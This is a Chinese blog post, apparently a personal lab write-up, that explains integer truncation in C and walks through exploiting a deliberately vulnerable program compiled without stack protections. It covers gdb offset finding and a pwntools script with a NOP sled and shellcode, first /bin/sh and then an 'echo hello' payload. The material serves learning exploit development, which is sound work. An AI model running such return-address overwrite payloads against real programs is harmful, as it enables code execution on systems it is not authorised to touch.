整数溢出漏洞

本文详细介绍了如何利用栈溢出漏洞进行缓冲区溢出攻击,通过一个C语言程序实例展示了溢出过程。在无ASLR、NX保护的情况下,通过pwntools构造payload,尝试覆盖返回地址执行shellcode。然而,由于 ebx-0x7f9dcb5f 地址无写权限导致执行失败。最终通过调整shellcode,成功触发了程序行为,但出现了Segmentation fault。
摘要由CSDN通过智能技术生成

文章目录


本想借这类老洞练练pwntool,但最后的脚本getshell失败了。

整数的异常情况主要有三种:

  1. 溢出:针对有符号数。两正或两负相加时,有可能改变符号位的值。可用溢出标志 OF 检测。
  2. 回绕:针对无符号数。以byte为例,其实就是0-1, 255+1。可用进位标志 CF 检测。
  3. 截断: 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断。

实例

#include<stdio.h>
#include<string.h>

void validate_passwd(char *passwd) {
    char passwd_buf[11];
    unsigned char passwd_len = strlen(passwd);  // unsigned char( len== 1) <-- size_t( len== 4) !!!!
    // printf("%s\n%d\n", passwd, passwd_len);
    if(passwd_len >= 4 && passwd_len <= 8) {
        printf("good!\n");
        strcpy(passwd_buf, passwd);
    } else {
        printf("bad!\n");
    }
}

int main(int argc) {
    char buf[300] = {0};
    scanf("%s", buf);
    getchar();
    validate_passwd(buf);
    printf("return main\n");
}

这段程序把输入的passwd四字节长度存到一字节char中,会导致截断。如果想执行strcpy,长度可以被截断为4到8这个闭合区间,比如5,那么可以输入一个长256+5==261的字符串(+1是因为0),这里用pwntools的cyclic生成字符串,方便定位返回地址。

编译(无canary,无NX)并关闭ASLR:

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc -m32 -g -fno-stack-protector -no-pie -z execstack  pwnme.c -o integar
checksec integar
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

gdb调试:

 gdb --args ./integar `python -c 'from pwn import *;print(cyclic(261))'`
 

程序按照预期崩溃, 并且返回地址被覆盖为"gaaa":

gef> c
Continuing.
good!

$eip   : 0x61616167 ("gaaa"?)
segmentation fault

重新单步调试到strcpy,可以看到局部变量passwd_buf位于ebp-0x14这个地方,而返回地址应该在ebp+4,距离正好是gaaa与aaa的距离(0x18==4*6)。另外eflag寄存器的overflow标志也提示有溢出了(就不截图了)。

而函数的ebp为0xffffd2e8,

-registers
...
$ebp   : 0xffffd2e8
-code
0x565555c1 <validate_passwd+68> push   DWORD PTR [ebp+0x8]
0x565555c4 <validate_passwd+71> lea    eax, [ebp-0x14]
0x565555c7 <validate_passwd+74> push   eax
0x565555c8 <validate_passwd+75> call   0x565553f0 <strcpy@plt>
─stack
0xffffd2d0│+0x0000: 0xf7fb6000  →  0x001d4d8c    ← $esp
0xffffd2d4│+0x0004: 0xf7fb6000  →  0x001d4d8c
0xffffd2d8│+0x0008: 0x00000000
0xffffd2dc│+0x000c: 0x05e1139b
0xffffd2e0│+0x0010: 0xf7fb63fc  →  0xf7fb7200  →  0x00000000
0xffffd2e4│+0x0014: 0x00000000
0xffffd2e8│+0x0018: 0xffffd308  →  0x00000000    ← $ebp
0xffffd2ec│+0x001c: 0x56555636  →  <main+76> add esp, 0x10

接下来构造exp。先看下shellcode的长度:

>>> len(asm(shellcraft.i386.sh()))
44

返回地址可以写一个ebp之后的、4字节对齐的地址,执行一段滑块指令后再执行shellcode:

from pwn import *
pRetAddr = 0xffffd2f8   # a address higher than ebp(0xffffd2e8)

context.log_level = 'debug'

# shellcode = shellcraft.i386.linux.sh()
shellcode = shellcraft.echo('hello', 1)

payload = bytes("a"*24, encoding="ascii")    # aaaa-faaa  4*6
payload += p32(pRetAddr)   # 4   
payload += bytes([0x90]*20)   # 8
payload += asm(shellcode)   # 22
payload += bytes("a"*(261-len(payload)), encoding="ascii")

# p = process(["./integar"])
# p.sendline(payload)
# gdb.attach(p, "b main")

p = gdb.debug("./integar", "b main")
pause()
p.sendline(payload)
# p.sendline(b'echo Hello')
print(p.recv())
p.interactive()

一开始 shellcode是用的 linux.sh, 但经过调试发现字符串被00截断了:

p passwd_len
$1 = 0x3d

x /261xb passwd
0xffffd474:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0xffffd47c:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0xffffd484:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0xffffd48c:	0xf8	0xd2	0xff	0xff	0x90	0x90	0x90	0x90
0xffffd494:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd49c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd4a4:	0x6a	0x68	0x68	0x2f	0x2f	0x2f	0x73	0x68
0xffffd4ac:	0x2f	0x62	0x69	0x6e	0x6a	0x00	0x00	0x00

先不编码了,改为简单的echo hello,

/* push b'hello' */
push 0x6f
push 0x6c6c6568
/* call write(1, 'esp', 5) */
push (4) /* 4 */
pop eax
push 1
pop ebx
mov ecx, esp
push 5
pop edx
int 0x80

最后成功在0xffffd2f8执行了,但并没有echo,,反而Segmentation fault结束了:

→ 0xffffd30b                  add    BYTE PTR [ebx-0x7f9dcb5f], ah
   0xffffd311                  ins    DWORD PTR es:[edi], dx
   0xffffd312                  sti    
   0xffffd313                  test   DWORD PTR [esi], 0x70000000
   0xffffd319                  xchg   ecx, eax
   0xffffd31a                  push   ebp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "integar", stopped 0xffffd30b in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffd30b → add BYTE PTR [ebx-0x7f9dcb5f], ah
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffd30b in ?? ()
gef➤  ni

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

原因是ebx-0x7f9dcb5f这里没有写权限,应该是shellcode的问题。

当天没解决,,但第二天就正常了(奇了个大怪),,,

[DEBUG] Received 0xb bytes:
    b'good!\n'
    b'hello'
good!
hello$ 

小结:

  • python3的payload构造,拼接时要转成byte类型;
  • 研究了一下pwntool的gdb调试,调试会话建立后需要pause一下,需要输入时再发送payload。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值